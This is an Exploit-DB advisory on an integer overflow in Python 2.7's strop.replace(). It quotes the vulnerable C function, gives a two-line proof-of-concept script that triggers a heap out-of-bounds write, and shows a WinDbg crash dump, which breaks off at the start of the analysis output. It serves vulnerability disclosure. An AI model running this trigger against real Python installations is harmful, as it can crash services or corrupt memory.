Exploit-DB #38617
Description: Python 2.7 - 'strop.replace()' Method Integer Overflow
Type: dos
Platform: windows
Date: 2015-11-03
Author: John Leitch

Exploit:
Title: Python 2.7 strop.replace() Integer Overflow
Credit: John Leitch (john@autosectools.com)
Url1: http://autosectools.com/Page/Python-strop-replace-Integer-Overflow
Url2: http://bugs.python.org/issue24708
Resolution: Fixed

The Python 2.7 strop.replace() method suffers from an integer overflow that can be exploited to write outside the bounds of the string buffer and potentially achieve code execution. The issue can be triggered by performing a large substitution that overflows the arithmetic used in mymemreplace() to calculate the size of the new string:

static char *
mymemreplace(const char *str, Py_ssize_t len,           /* input string */
         const char *pat, Py_ssize_t pat_len,           /* pattern string to find */
         const char *sub, Py_ssize_t sub_len,           /* substitution string */
         Py_ssize_t count,                              /* number of replacements */
         Py_ssize_t *out_len)
{
    [...]

    new_len = len + nfound*(sub_len - pat_len); <<<< Unchecked arithmetic can overflow here.
    if (new_len == 0) {
        /* Have to allocate something for the caller to free(). */
        out_s = (char *)PyMem_MALLOC(1);
        if (out_s == NULL)
            return NULL;
        out_s[0] = '\0';
    }
    else {
        assert(new_len > 0);
        new_s = (char *)PyMem_MALLOC(new_len); <<<< An allocation is performed using overflowed value.
        if (new_s == NULL)
            return NULL;
        out_s = new_s;

        for (; count > 0 && len > 0; --count) { <<<< Memory is copied to new_s using len, which can be greater than the overflowed new_len value.
            /* find index of next instance of pattern */
            offset = mymemfind(str, len, pat, pat_len);
            if (offset == -1)
                break;

            /* copy non matching part of input string */
            memcpy(new_s, str, offset);
            str += offset + pat_len;
            len -= offset + pat_len;

            /* copy substitute into the output string */
            new_s += offset;
            memcpy(new_s, sub, sub_len);
            new_s += sub_len;
        }
        /* copy any remaining values into output string */
        if (len > 0)
            memcpy(new_s, str, len);
    }
    [...]
}

The following script demonstrates the issue:

import strop
strop.replace("\x75"*0xEAAA,"\x75","AA"*0xAAAA)
When run under a debugger, it produces the following exception:

0:000> r
eax=01e4cfd0 ebx=5708fc94 ecx=00003c7a edx=00000000 esi=01e3dde8 edi=57096000
eip=7026ae7a esp=0027fc98 ebp=0027fca0 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
MSVCR90!memcpy+0x5a:
7026ae7a f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> db edi-0x10
57095ff0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
57096000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096060  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:000> db esi
01e3dde8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3ddf8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de08  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de18  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de28  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de38  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de48  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de58  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> k
ChildEBP RetAddr  
0027fca0 1e056efc MSVCR90!memcpy+0x5a [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188]
0027fcd0 1e05700b python27!mymemreplace+0xfc [c:\build27\cpython\modules\stropmodule.c @ 1139]
0027fd18 1e0aaed7 python27!strop_replace+0xbb [c:\build27\cpython\modules\stropmodule.c @ 1185]
0027fd30 1e0edcc0 python27!PyCFunction_Call+0x47 [c:\build27\cpython\objects\methodobject.c @ 81]
0027fd5c 1e0f012a python27!call_function+0x2b0 [c:\build27\cpython\python\ceval.c @ 4035]
0027fdcc 1e0f1100 python27!PyEval_EvalFrameEx+0x239a [c:\build27\cpython\python\ceval.c @ 2684]
0027fe00 1e0f1162 python27!PyEval_EvalCodeEx+0x690 [c:\build27\cpython\python\ceval.c @ 3267]
0027fe2c 1e1170ca python27!PyEval_EvalCode+0x22 [c:\build27\cpython\python\ceval.c @ 674]
0027fe44 1e118215 python27!run_mod+0x2a [c:\build27\cpython\python\pythonrun.c @ 1371]
0027fe64 1e1187b0 python27!PyRun_FileExFlags+0x75 [c:\build27\cpython\python\pythonrun.c @ 1358]
0027fea4 1e119129 python27!PyRun_SimpleFileExFlags+0x190 [c:\build27\cpython\python\pythonrun.c @ 950]
0027fec0 1e038cb5 python27!PyRun_AnyFileExFlags+0x59 [c:\build27\cpython\python\pythonrun.c @ 753]
0027ff3c 1d00116d python27!Py_Main+0x965 [c:\build27\cpython\modules\main.c @ 643]
0027ff80 74b97c04 python!__tmainCRTStartup+0x10f [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 586]
0027ff94 7701ad1f KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 7701acea ntdll!__RtlUserThreadStart+0x2f
0027ffec 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000> !analyze -v -nodb
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*************